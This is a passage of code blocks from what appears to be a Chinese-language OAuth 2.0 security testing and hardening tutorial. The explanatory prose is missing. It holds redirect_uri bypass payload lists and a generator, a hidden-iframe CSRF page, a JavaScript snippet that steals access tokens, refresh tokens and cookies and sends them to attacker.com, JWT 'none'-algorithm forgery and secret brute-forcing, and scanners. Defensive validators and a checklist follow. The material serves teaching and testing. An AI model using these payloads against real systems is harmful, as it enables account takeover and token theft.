1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

┌─────────┐                              ┌─────────────────┐
│  User   │                              │ Authorization   │
│ Browser │                              │    Server       │
└────┬────┘                              └────────┬────────┘
     │                                            │
     │  1. 點擊「使用 Google 登入」                │
     │ ──────────────────────────────────────────>│
     │                                            │
     │  2. 重導向至授權端點                        │
     │ <──────────────────────────────────────────│
     │                                            │
     │  3. 使用者授權同意                          │
     │ ──────────────────────────────────────────>│
     │                                            │
     │  4. 回傳 Authorization Code                │
     │ <──────────────────────────────────────────│
     │                                            │
     ├─────────┐                                  │
     │ Client  │  5. 以 Code 換取 Access Token    │
     │ Server  │ ────────────────────────────────>│
     │         │                                  │
     │         │  6. 回傳 Access Token            │
     │         │ <────────────────────────────────│
     └─────────┘                                  │

1

https://legitimate-app.com/callback

1
2
3

https://legitimate-app.com/callback/../attacker-page
https://legitimate-app.com.attacker.com/callback
https://legitimate-app.com@attacker.com/callback

1
2
3
4
5
6
7
8

GET /authorize?
    response_type=code
    &client_id=your_client_id
    &redirect_uri=https://attacker.com/callback
    &scope=openid profile email
    &state=abc123
HTTP/1.1
Host: authorization-server.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/env python3
"""OAuth 2.0 Redirect URI 測試腳本"""

import requests
from urllib.parse import urlencode, quote

class OAuth2RedirectTester:
    def __init__(self, auth_endpoint, client_id):
        self.auth_endpoint = auth_endpoint
        self.client_id = client_id
        self.payloads = [
            "https://attacker.com/callback",
            "https://legitimate.com/callback/../../../attacker",
            "https://legitimate.com/callback%00@attacker.com",
            "https://legitimate.com/callback?next=https://attacker.com",
            "https://legitimate.com/callback#@attacker.com",
            "//attacker.com/callback",
            "https://legitimate.com/callback/.attacker.com",
        ]

    def test_redirect_uri(self, payload):
        params = {
            "response_type": "code",
            "client_id": self.client_id,
            "redirect_uri": payload,
            "scope": "openid profile",
            "state": "test_state_123"
        }

        url = f"{self.auth_endpoint}?{urlencode(params)}"

        try:
            response = requests.get(url, allow_redirects=False, timeout=10)
            return {
                "payload": payload,
                "status_code": response.status_code,
                "location": response.headers.get("Location", "N/A"),
                "vulnerable": response.status_code in [301, 302, 303, 307, 308]
            }
        except Exception as e:
            return {"payload": payload, "error": str(e)}

    def run_tests(self):
        print("[*] 開始測試 Redirect URI 漏洞...")
        for payload in self.payloads:
            result = self.test_redirect_uri(payload)
            if result.get("vulnerable"):
                print(f"[!] 可能存在漏洞: {payload}")
            else:
                print(f"[+] 安全: {payload}")

if __name__ == "__main__":
    tester = OAuth2RedirectTester(
        auth_endpoint="https://target.com/oauth/authorize",
        client_id="test_client_id"
    )
    tester.run_tests()

1
2
3

# 攻擊者準備的惡意連結
GET /callback?code=ATTACKER_CODE HTTP/1.1
Host: vulnerable-app.com

1
2
3
4
5
6
7

# 不安全的實作
import time
state = str(int(time.time()))  # 可預測

# 安全的實作
import secrets
state = secrets.token_urlsafe(32)  # 隨機且不可預測

1
2
3
4
5
6
7
8

# 測試是否接受沒有 state 參數的請求
curl -v "https://target.com/callback?code=test_code"

# 測試是否接受任意 state 值
curl -v "https://target.com/callback?code=test_code&state=arbitrary_value"

# 測試是否接受空 state
curl -v "https://target.com/callback?code=test_code&state="

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

<!DOCTYPE html>
<html>
<head>
    <title>OAuth CSRF Attack</title>
</head>
<body>
    <h1>OAuth 2.0 CSRF 攻擊演示</h1>

    <!-- 自動提交的隱藏 iframe -->
    <iframe
        src="https://vulnerable-app.com/callback?code=ATTACKER_AUTH_CODE"
        style="display:none;">
    </iframe>

    <script>
        // 或使用 JavaScript 重導向
        // window.location = "https://vulnerable-app.com/callback?code=ATTACKER_AUTH_CODE";
    </script>
</body>
</html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#!/usr/bin/env python3
"""Redirect URI 繞過 Payload 生成器"""

def generate_payloads(legitimate_uri, attacker_domain):
    base_payloads = [
        # 路徑遍歷
        f"{legitimate_uri}/../../../{attacker_domain}",
        f"{legitimate_uri}/..%2f..%2f{attacker_domain}",

        # URL 編碼變形
        f"{legitimate_uri}%2f%2e%2e%2f{attacker_domain}",
        f"{legitimate_uri}%252f{attacker_domain}",

        # 參數污染
        f"{legitimate_uri}?next={attacker_domain}",
        f"{legitimate_uri}?url={attacker_domain}",
        f"{legitimate_uri}?redirect={attacker_domain}",
        f"{legitimate_uri}?return_to={attacker_domain}",

        # 子網域繞過
        f"https://{attacker_domain}.legitimate.com/callback",
        f"https://legitimate.com.{attacker_domain}/callback",

        # 特殊字元
        f"{legitimate_uri}@{attacker_domain}",
        f"{legitimate_uri}%00{attacker_domain}",
        f"{legitimate_uri}#{attacker_domain}",

        # 協議相對 URL
        f"//{attacker_domain}/callback",

        # 大小寫變形
        f"HTTPS://LEGITIMATE.COM/callback/../{attacker_domain}",

        # IPv6 繞過
        f"https://[::ffff:attacker-ip]/callback",
    ]

    return base_payloads

# 使用範例
payloads = generate_payloads(
    "https://legitimate.com/callback",
    "attacker.com"
)

for p in payloads:
    print(p)

1
2
3
4

1. 攻擊者註冊惡意應用程式
2. 設定 redirect_uri 為 https://legitimate.com/callback?next=https://attacker.com
3. 誘導使用者授權
4. 授權碼或 Token 被傳送至攻擊者控制的網站

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

// 攻擊者注入的惡意腳本
(function() {
    // 從 LocalStorage 竊取
    var accessToken = localStorage.getItem('access_token');
    var refreshToken = localStorage.getItem('refresh_token');

    // 從 Cookie 竊取
    var cookies = document.cookie;

    // 從 URL Fragment 竊取
    var hash = window.location.hash;

    // 傳送至攻擊者伺服器
    var exfilUrl = 'https://attacker.com/collect?';
    exfilUrl += 'access_token=' + encodeURIComponent(accessToken);
    exfilUrl += '&refresh_token=' + encodeURIComponent(refreshToken);
    exfilUrl += '&cookies=' + encodeURIComponent(cookies);
    exfilUrl += '&fragment=' + encodeURIComponent(hash);

    new Image().src = exfilUrl;
})();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/env python3
"""Token 重放攻擊測試"""

import requests

class TokenReplayTester:
    def __init__(self, api_base_url):
        self.api_base_url = api_base_url

    def test_token_reuse(self, access_token):
        """測試 Token 是否可以重複使用"""
        headers = {"Authorization": f"Bearer {access_token}"}

        # 多次請求測試
        for i in range(5):
            response = requests.get(
                f"{self.api_base_url}/userinfo",
                headers=headers
            )
            print(f"請求 {i+1}: Status {response.status_code}")

    def test_token_after_logout(self, access_token):
        """測試登出後 Token 是否仍然有效"""
        headers = {"Authorization": f"Bearer {access_token}"}

        # 呼叫登出端點
        requests.post(f"{self.api_base_url}/logout", headers=headers)

        # 嘗試使用舊 Token
        response = requests.get(
            f"{self.api_base_url}/userinfo",
            headers=headers
        )

        if response.status_code == 200:
            print("[!] 漏洞：Token 在登出後仍然有效")
        else:
            print("[+] 安全：Token 已正確失效")

    def test_token_scope_escalation(self, access_token):
        """測試是否可以存取超出授權範圍的資源"""
        headers = {"Authorization": f"Bearer {access_token}"}

        endpoints = [
            "/admin/users",
            "/admin/settings",
            "/internal/secrets",
            "/api/v1/all-users",
        ]

        for endpoint in endpoints:
            response = requests.get(
                f"{self.api_base_url}{endpoint}",
                headers=headers
            )
            if response.status_code == 200:
                print(f"[!] 可能的權限提升: {endpoint}")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/env python3
"""JWT Token 安全測試"""

import jwt
import base64
import json

def decode_jwt_without_verification(token):
    """解碼 JWT 但不驗證簽章"""
    parts = token.split('.')
    if len(parts) != 3:
        return None

    header = base64.urlsafe_b64decode(parts[0] + '==')
    payload = base64.urlsafe_b64decode(parts[1] + '==')

    return {
        "header": json.loads(header),
        "payload": json.loads(payload)
    }

def test_algorithm_confusion(token):
    """測試演算法混淆攻擊"""
    decoded = decode_jwt_without_verification(token)

    if decoded:
        print(f"原始演算法: {decoded['header'].get('alg')}")

        # 嘗試 none 演算法
        none_header = {"alg": "none", "typ": "JWT"}
        none_token = base64.urlsafe_b64encode(
            json.dumps(none_header).encode()
        ).decode().rstrip('=')

        payload_b64 = token.split('.')[1]

        forged_token = f"{none_token}.{payload_b64}."
        print(f"偽造的 Token (none alg): {forged_token}")

        return forged_token

def test_weak_secret(token, wordlist_path="/usr/share/wordlists/rockyou.txt"):
    """嘗試暴力破解 JWT 密鑰"""
    try:
        with open(wordlist_path, 'r', errors='ignore') as f:
            for secret in f:
                secret = secret.strip()
                try:
                    jwt.decode(token, secret, algorithms=["HS256"])
                    print(f"[!] 找到密鑰: {secret}")
                    return secret
                except jwt.InvalidSignatureError:
                    continue
    except FileNotFoundError:
        print("字典檔案不存在")

    return None

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

┌─────────────────────────────────────────────────────────────┐
│                      PKCE 流程                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 客戶端產生 code_verifier（隨機字串）                      │
│     code_verifier = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r..."     │
│                                                             │
│  2. 計算 code_challenge                                     │
│     code_challenge = BASE64URL(SHA256(code_verifier))       │
│                                                             │
│  3. 授權請求包含 code_challenge                              │
│     GET /authorize?                                         │
│         response_type=code                                  │
│         &client_id=xxx                                      │
│         &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1...      │
│         &code_challenge_method=S256                         │
│                                                             │
│  4. Token 請求包含 code_verifier                            │
│     POST /token                                             │
│         grant_type=authorization_code                       │
│         &code=xxx                                           │
│         &code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r...   │
│                                                             │
│  5. 伺服器驗證 SHA256(code_verifier) == code_challenge       │
│                                                             │
└─────────────────────────────────────────────────────────────┘

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

#!/usr/bin/env python3
"""PKCE 降級攻擊測試"""

import requests
import hashlib
import base64
import secrets

class PKCEBypassTester:
    def __init__(self, auth_endpoint, token_endpoint, client_id):
        self.auth_endpoint = auth_endpoint
        self.token_endpoint = token_endpoint
        self.client_id = client_id

    def test_pkce_not_required(self):
        """測試是否可以不使用 PKCE"""
        params = {
            "response_type": "code",
            "client_id": self.client_id,
            "redirect_uri": "https://example.com/callback",
            "scope": "openid profile",
            "state": secrets.token_urlsafe(16)
            # 故意不包含 code_challenge
        }

        response = requests.get(self.auth_endpoint, params=params)

        if response.status_code == 200 or response.status_code == 302:
            print("[!] 漏洞：PKCE 不是必須的")
            return True
        else:
            print("[+] 安全：PKCE 是必須的")
            return False

    def test_plain_method(self):
        """測試是否接受 plain 方法"""
        code_verifier = secrets.token_urlsafe(32)

        params = {
            "response_type": "code",
            "client_id": self.client_id,
            "redirect_uri": "https://example.com/callback",
            "scope": "openid profile",
            "state": secrets.token_urlsafe(16),
            "code_challenge": code_verifier,  # plain 方法直接使用 verifier
            "code_challenge_method": "plain"
        }

        response = requests.get(self.auth_endpoint, params=params)

        if response.status_code == 200 or response.status_code == 302:
            print("[!] 警告：接受 plain 方法（較不安全）")
            return True
        else:
            print("[+] 安全：拒絕 plain 方法")
            return False

    def test_code_verifier_bypass(self, auth_code):
        """測試是否可以不提供 code_verifier"""
        data = {
            "grant_type": "authorization_code",
            "code": auth_code,
            "client_id": self.client_id,
            "redirect_uri": "https://example.com/callback"
            # 故意不包含 code_verifier
        }

        response = requests.post(self.token_endpoint, data=data)

        if response.status_code == 200:
            print("[!] 漏洞：可以不提供 code_verifier")
            return True
        else:
            print("[+] 安全：code_verifier 是必須的")
            return False

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# 不安全的 code_verifier 生成（可預測）
import time
import hashlib

# 錯誤範例：使用時間戳
weak_verifier = hashlib.sha256(str(time.time()).encode()).hexdigest()

# 安全範例：使用密碼學安全的隨機數
import secrets
strong_verifier = secrets.token_urlsafe(43)  # 43 字元 = 256 位元

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# Burp Suite Python 擴展範例
from burp import IBurpExtender, IScannerCheck
import re

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("OAuth 2.0 Scanner")
        callbacks.registerScannerCheck(self)

    def doPassiveScan(self, baseRequestResponse):
        response = baseRequestResponse.getResponse()
        response_str = self._helpers.bytesToString(response)

        issues = []

        # 檢查 Token 洩露
        token_patterns = [
            r'access_token["\']?\s*[:=]\s*["\']?([A-Za-z0-9_-]+)',
            r'Bearer\s+([A-Za-z0-9_-]+)',
            r'refresh_token["\']?\s*[:=]\s*["\']?([A-Za-z0-9_-]+)',
        ]

        for pattern in token_patterns:
            if re.search(pattern, response_str):
                # 建立 Issue
                pass

        return issues

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204

#!/usr/bin/env python3
"""
OAuth 2.0 完整安全測試套件
"""

import requests
import json
import secrets
import hashlib
import base64
from urllib.parse import urlencode, parse_qs, urlparse

class OAuth2SecurityTester:
    def __init__(self, config):
        self.auth_endpoint = config['auth_endpoint']
        self.token_endpoint = config['token_endpoint']
        self.client_id = config['client_id']
        self.client_secret = config.get('client_secret')
        self.redirect_uri = config['redirect_uri']
        self.scope = config.get('scope', 'openid profile')
        self.results = []

    def log_result(self, test_name, vulnerable, details=""):
        result = {
            "test": test_name,
            "vulnerable": vulnerable,
            "details": details
        }
        self.results.append(result)
        status = "[!] 漏洞" if vulnerable else "[+] 安全"
        print(f"{status}: {test_name} - {details}")

    def test_redirect_uri_validation(self):
        """測試 redirect_uri 驗證"""
        test_name = "Redirect URI 驗證"

        payloads = [
            "https://evil.com/callback",
            self.redirect_uri + "/../evil",
            self.redirect_uri + "@evil.com",
            "//evil.com/callback",
        ]

        for payload in payloads:
            params = {
                "response_type": "code",
                "client_id": self.client_id,
                "redirect_uri": payload,
                "scope": self.scope,
                "state": secrets.token_urlsafe(16)
            }

            response = requests.get(
                self.auth_endpoint,
                params=params,
                allow_redirects=False
            )

            if response.status_code in [301, 302, 303, 307]:
                location = response.headers.get('Location', '')
                if 'evil' in location:
                    self.log_result(test_name, True, f"接受惡意 redirect_uri: {payload}")
                    return

        self.log_result(test_name, False, "正確驗證 redirect_uri")

    def test_state_parameter(self):
        """測試 state 參數處理"""
        test_name = "State 參數驗證"

        # 測試無 state 參數
        params = {
            "response_type": "code",
            "client_id": self.client_id,
            "redirect_uri": self.redirect_uri,
            "scope": self.scope
        }

        response = requests.get(
            self.auth_endpoint,
            params=params,
            allow_redirects=False
        )

        if response.status_code in [301, 302, 303, 307]:
            self.log_result(test_name, True, "接受無 state 參數的請求")
        else:
            self.log_result(test_name, False, "要求 state 參數")

    def test_pkce_enforcement(self):
        """測試 PKCE 強制執行"""
        test_name = "PKCE 強制執行"

        # 測試無 PKCE 參數
        params = {
            "response_type": "code",
            "client_id": self.client_id,
            "redirect_uri": self.redirect_uri,
            "scope": self.scope,
            "state": secrets.token_urlsafe(16)
        }

        response = requests.get(
            self.auth_endpoint,
            params=params,
            allow_redirects=False
        )

        if response.status_code in [301, 302, 303, 307]:
            self.log_result(test_name, True, "不強制要求 PKCE")
        else:
            self.log_result(test_name, False, "強制要求 PKCE")

    def test_implicit_flow(self):
        """測試是否支援不安全的 Implicit Flow"""
        test_name = "Implicit Flow 支援"

        params = {
            "response_type": "token",
            "client_id": self.client_id,
            "redirect_uri": self.redirect_uri,
            "scope": self.scope,
            "state": secrets.token_urlsafe(16)
        }

        response = requests.get(
            self.auth_endpoint,
            params=params,
            allow_redirects=False
        )

        if response.status_code in [301, 302, 303, 307]:
            self.log_result(test_name, True, "支援不安全的 Implicit Flow")
        else:
            self.log_result(test_name, False, "不支援 Implicit Flow")

    def test_token_endpoint_auth(self):
        """測試 Token 端點認證"""
        test_name = "Token 端點認證"

        # 嘗試不提供 client_secret
        data = {
            "grant_type": "authorization_code",
            "code": "fake_code",
            "redirect_uri": self.redirect_uri,
            "client_id": self.client_id
        }

        response = requests.post(self.token_endpoint, data=data)

        # 如果回應不是認證錯誤，可能有問題
        if response.status_code != 401:
            self.log_result(test_name, True, "Token 端點可能不需要認證")
        else:
            self.log_result(test_name, False, "Token 端點需要認證")

    def generate_report(self):
        """產生測試報告"""
        print("\n" + "="*60)
        print("OAuth 2.0 安全測試報告")
        print("="*60 + "\n")

        vulnerabilities = [r for r in self.results if r['vulnerable']]

        print(f"總測試項目: {len(self.results)}")
        print(f"發現漏洞: {len(vulnerabilities)}")
        print(f"安全項目: {len(self.results) - len(vulnerabilities)}")

        if vulnerabilities:
            print("\n發現的漏洞:")
            for vuln in vulnerabilities:
                print(f"  - {vuln['test']}: {vuln['details']}")

        return {
            "total_tests": len(self.results),
            "vulnerabilities_found": len(vulnerabilities),
            "details": self.results
        }

    def run_all_tests(self):
        """執行所有測試"""
        print("開始 OAuth 2.0 安全測試...\n")

        self.test_redirect_uri_validation()
        self.test_state_parameter()
        self.test_pkce_enforcement()
        self.test_implicit_flow()
        self.test_token_endpoint_auth()

        return self.generate_report()


if __name__ == "__main__":
    config = {
        "auth_endpoint": "https://target.com/oauth/authorize",
        "token_endpoint": "https://target.com/oauth/token",
        "client_id": "your_client_id",
        "client_secret": "your_client_secret",
        "redirect_uri": "https://your-app.com/callback",
        "scope": "openid profile email"
    }

    tester = OAuth2SecurityTester(config)
    report = tester.run_all_tests()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# oauth-misconfig.yaml
id: oauth-misconfiguration

info:
  name: OAuth 2.0 Misconfiguration Scanner
  author: security-researcher
  severity: high
  tags: oauth,misconfiguration

requests:
  - method: GET
    path:
      - "{{BaseURL}}/oauth/authorize?response_type=code&client_id=test&redirect_uri=https://evil.com/callback"
      - "{{BaseURL}}/oauth/authorize?response_type=token&client_id=test&redirect_uri={{BaseURL}}/callback"
      - "{{BaseURL}}/.well-known/oauth-authorization-server"
      - "{{BaseURL}}/.well-known/openid-configuration"

    matchers-condition: or
    matchers:
      - type: status
        status:
          - 302
          - 301

      - type: word
        words:
          - "authorization_endpoint"
          - "token_endpoint"
        condition: and

1
2
3
4
5
6
7
8

# 安裝 Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 執行掃描
nuclei -u https://target.com -t oauth-misconfig.yaml -v

# 使用內建 OAuth 模板
nuclei -u https://target.com -tags oauth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 安全的 OAuth 2.0 授權伺服器配置範例

class SecureOAuthConfig:
    # 強制使用 HTTPS
    REQUIRE_HTTPS = True

    # 強制使用 PKCE
    REQUIRE_PKCE = True
    PKCE_METHODS = ['S256']  # 只允許 S256，禁止 plain

    # Token 配置
    ACCESS_TOKEN_LIFETIME = 3600  # 1 小時
    REFRESH_TOKEN_LIFETIME = 86400  # 24 小時
    TOKEN_ROTATION = True  # 每次使用 refresh_token 時輪換

    # 禁用不安全的流程
    ALLOWED_GRANT_TYPES = [
        'authorization_code',
        'refresh_token',
        'client_credentials'
    ]
    # 不包含 'implicit' 和 'password'

    # Redirect URI 驗證
    REDIRECT_URI_VALIDATION = 'strict'  # 精確匹配
    ALLOW_LOCALHOST = False  # 生產環境禁止 localhost

    # State 參數
    REQUIRE_STATE = True
    STATE_LIFETIME = 300  # 5 分鐘過期

    # 速率限制
    RATE_LIMIT_AUTHORIZE = '10/minute'
    RATE_LIMIT_TOKEN = '20/minute'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

from urllib.parse import urlparse
import re

class RedirectURIValidator:
    def __init__(self, allowed_uris):
        self.allowed_uris = set(allowed_uris)

    def validate(self, redirect_uri):
        """嚴格驗證 redirect_uri"""

        # 1. 基本格式檢查
        if not redirect_uri:
            return False, "redirect_uri 是必須的"

        # 2. 解析 URL
        try:
            parsed = urlparse(redirect_uri)
        except Exception:
            return False, "無效的 URL 格式"

        # 3. 強制 HTTPS（生產環境）
        if parsed.scheme != 'https':
            return False, "必須使用 HTTPS"

        # 4. 禁止危險字元
        dangerous_patterns = [
            r'\.\./',           # 路徑遍歷
            r'%2e%2e',          # 編碼的路徑遍歷
            r'@',               # URL 混淆
            r'%00',             # Null 字元
            r'\\',              # 反斜線
            r'\s',              # 空白字元
        ]

        for pattern in dangerous_patterns:
            if re.search(pattern, redirect_uri, re.IGNORECASE):
                return False, f"包含危險字元: {pattern}"

        # 5. 精確匹配已註冊的 URI
        # 正規化 URI 進行比較
        normalized = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"

        if normalized not in self.allowed_uris:
            return False, "redirect_uri 未註冊"

        # 6. 禁止查詢參數（或僅允許白名單參數）
        if parsed.query:
            return False, "不允許查詢參數"

        return True, "驗證通過"

# 使用範例
validator = RedirectURIValidator([
    "https://myapp.com/callback",
    "https://myapp.com/oauth/callback"
])

result, message = validator.validate("https://myapp.com/callback/../evil")
print(f"驗證結果: {result}, 訊息: {message}")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

import secrets
import hashlib
from datetime import datetime, timedelta
from typing import Optional
import jwt

class SecureTokenManager:
    def __init__(self, secret_key: str, issuer: str):
        self.secret_key = secret_key
        self.issuer = issuer
        self.algorithm = 'RS256'  # 使用非對稱加密

    def generate_access_token(
        self,
        user_id: str,
        scopes: list,
        expires_in: int = 3600
    ) -> str:
        """產生安全的 Access Token"""

        now = datetime.utcnow()

        payload = {
            'iss': self.issuer,
            'sub': user_id,
            'aud': 'api',
            'exp': now + timedelta(seconds=expires_in),
            'iat': now,
            'nbf': now,
            'jti': secrets.token_urlsafe(16),  # 唯一識別碼
            'scope': ' '.join(scopes)
        }

        return jwt.encode(payload, self.secret_key, algorithm=self.algorithm)

    def generate_refresh_token(self, user_id: str) -> tuple:
        """產生安全的 Refresh Token（不透明格式）"""

        # 使用密碼學安全的隨機數
        token = secrets.token_urlsafe(64)

        # 儲存 Token 的雜湊值（不是原始值）
        token_hash = hashlib.sha256(token.encode()).hexdigest()

        return token, token_hash

    def validate_token(self, token: str) -> Optional[dict]:
        """驗證 Access Token"""

        try:
            payload = jwt.decode(
                token,
                self.secret_key,
                algorithms=[self.algorithm],
                audience='api',
                issuer=self.issuer
            )
            return payload
        except jwt.ExpiredSignatureError:
            return None
        except jwt.InvalidTokenError:
            return None

    def revoke_token(self, jti: str):
        """撤銷 Token（加入黑名單）"""
        # 實作 Token 黑名單機制
        # 可使用 Redis 儲存已撤銷的 Token JTI
        pass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

## OAuth 2.0 安全實作檢查清單

### 授權端點
- [ ] 強制使用 HTTPS
- [ ] 嚴格驗證 redirect_uri（精確匹配）
- [ ] 強制使用 state 參數
- [ ] 實作 PKCE（S256 方法）
- [ ] 禁用 Implicit Flow
- [ ] 設定適當的速率限制

### Token 端點
- [ ] 驗證 client_id 和 client_secret
- [ ] 驗證 authorization_code 只能使用一次
- [ ] 驗證 code_verifier（PKCE）
- [ ] 設定適當的 Token 有效期限
- [ ] 實作 Refresh Token 輪換

### Token 安全
- [ ] 使用安全的簽章演算法（RS256 或 ES256）
- [ ] 設定適當的 Token 聲明（iss, aud, exp, iat）
- [ ] 實作 Token 撤銷機制
- [ ] 不在 URL 中傳遞 Token
- [ ] 使用 HttpOnly 和 Secure Cookie

### 客戶端安全
- [ ] 安全儲存 client_secret
- [ ] 使用隨機且不可預測的 state 值
- [ ] 驗證 state 參數一致性
- [ ] 安全儲存 Token（不使用 LocalStorage）

### 日誌與監控
- [ ] 記錄授權請求和回應
- [ ] 記錄 Token 發放和使用
- [ ] 不記錄敏感資料（Token、Secret）
- [ ] 設定異常警報